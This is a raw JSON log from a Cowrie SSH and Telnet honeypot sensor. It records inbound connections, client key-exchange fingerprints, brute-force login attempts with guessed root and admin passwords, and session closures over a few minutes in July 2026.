{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:44.671162Z","src_ip":"80.94.92.234","session":"1f586a516579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:44.674262Z","src_ip":"80.94.92.234","session":"1f586a516579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:46.259982Z","src_ip":"80.94.92.234","session":"1f586a516579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:47.600565Z","src_ip":"80.94.92.234","session":"1f586a516579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.351919412612915,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:47:50.307212Z","src_ip":"137.184.5.188","session":"628b69e5ff7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":10214,"dst_ip":"159.203.135.109","dst_port":22,"session":"99437d98f437","protocol":"ssh","message":"New connection: 176.53.159.196:10214 (159.203.135.109:22) [session: 99437d98f437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:22.312551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:22.316543Z","src_ip":"176.53.159.196","session":"99437d98f437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:22.416578Z","src_ip":"176.53.159.196","session":"99437d98f437","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:22.719187Z","src_ip":"176.53.159.196","session":"99437d98f437","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:22.821568Z","session":"99437d98f437","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:22.922461Z","src_ip":"176.53.159.196","session":"99437d98f437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:23.024863Z","src_ip":"176.53.159.196","session":"99437d98f437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":40664,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab35b0bbdb34","protocol":"ssh","message":"New connection: 139.59.4.137:40664 (159.203.135.109:22) [session: ab35b0bbdb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:28.216851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:28.220546Z","src_ip":"139.59.4.137","session":"ab35b0bbdb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:28.429031Z","src_ip":"139.59.4.137","session":"ab35b0bbdb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lc123456","message":"login attempt [root/lc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:29.300406Z","src_ip":"139.59.4.137","session":"ab35b0bbdb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:30.512669Z","src_ip":"139.59.4.137","session":"ab35b0bbdb34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":40962,"dst_ip":"10.17.0.5","dst_port":22,"session":"db8876f6a076","protocol":"ssh","message":"New connection: 101.36.119.203:40962 (10.17.0.5:22) [session: db8876f6a076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:31.195137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:31.198934Z","src_ip":"101.36.119.203","session":"db8876f6a076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:31.411476Z","src_ip":"101.36.119.203","session":"db8876f6a076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin110","message":"login attempt [root/Admin110] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:32.293385Z","src_ip":"101.36.119.203","session":"db8876f6a076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:33.508603Z","src_ip":"101.36.119.203","session":"db8876f6a076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":52988,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b1ec574163","protocol":"ssh","message":"New connection: 77.94.47.83:52988 (10.17.0.5:22) [session: 76b1ec574163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:54.004442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:54.009858Z","src_ip":"77.94.47.83","session":"76b1ec574163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:54.119709Z","src_ip":"77.94.47.83","session":"76b1ec574163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alanis","message":"login attempt [root/alanis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:54.450429Z","src_ip":"77.94.47.83","session":"76b1ec574163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:48:55.561049Z","src_ip":"77.94.47.83","session":"76b1ec574163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36732,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc9ad7e2313","protocol":"telnet","message":"New connection: 107.6.151.170:36732 (159.203.135.109:23) [session: bcc9ad7e2313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:33.806375Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"be74fa87a6a9","protocol":"telnet","message":"New connection: 107.6.151.170:38320 (159.203.135.109:23) [session: be74fa87a6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:33.814457Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43552,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bd96cb6730e","protocol":"telnet","message":"New connection: 107.6.151.170:43552 (159.203.135.109:23) [session: 4bd96cb6730e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:38.839219Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48672,"dst_ip":"159.203.135.109","dst_port":23,"session":"da28125f1aee","protocol":"telnet","message":"New connection: 137.184.5.188:48672 (159.203.135.109:23) [session: da28125f1aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:43.471687Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":56732,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab71c4c90ddd","protocol":"ssh","message":"New connection: 103.98.149.87:56732 (10.17.0.5:22) [session: ab71c4c90ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:52.689036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:52.693087Z","src_ip":"103.98.149.87","session":"ab71c4c90ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:53.062626Z","src_ip":"103.98.149.87","session":"ab71c4c90ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:53.819707Z","src_ip":"103.98.149.87","session":"ab71c4c90ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:49:55.048810Z","src_ip":"103.98.149.87","session":"ab71c4c90ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.591676235198975,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:06.430794Z","src_ip":"107.6.151.170","session":"4bd96cb6730e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.964290380477905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:10.770574Z","src_ip":"107.6.151.170","session":"bcc9ad7e2313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":56048,"dst_ip":"10.17.0.5","dst_port":22,"session":"36d38ccbcfed","protocol":"ssh","message":"New connection: 101.36.119.203:56048 (10.17.0.5:22) [session: 36d38ccbcfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:16.648303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:16.652640Z","src_ip":"101.36.119.203","session":"36d38ccbcfed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.882243394851685,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:16.696609Z","src_ip":"107.6.151.170","session":"be74fa87a6a9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:16.870700Z","src_ip":"101.36.119.203","session":"36d38ccbcfed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tg123456","message":"login attempt [root/tg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:17.776902Z","src_ip":"101.36.119.203","session":"36d38ccbcfed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:18.997494Z","src_ip":"101.36.119.203","session":"36d38ccbcfed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":50314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e6e7f5691b","protocol":"telnet","message":"New connection: 72.167.226.244:50314 (10.17.0.5:23) [session: a2e6e7f5691b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:35.949191Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":55632,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c43ef2fd790","protocol":"telnet","message":"New connection: 222.99.31.54:55632 (159.203.135.109:23) [session: 4c43ef2fd790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:42.806603Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xdf\\xda\\xd3\\xd7\\xd0'","password":"b'\\xdf\\xda\\xd3\\xd7\\xd0'","message":"login attempt [b'\\xdf\\xda\\xd3\\xd7\\xd0'/b'\\xdf\\xda\\xd3\\xd7\\xd0'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:50:43.674646Z","src_ip":"222.99.31.54","session":"4c43ef2fd790","protocol":"telnet"}
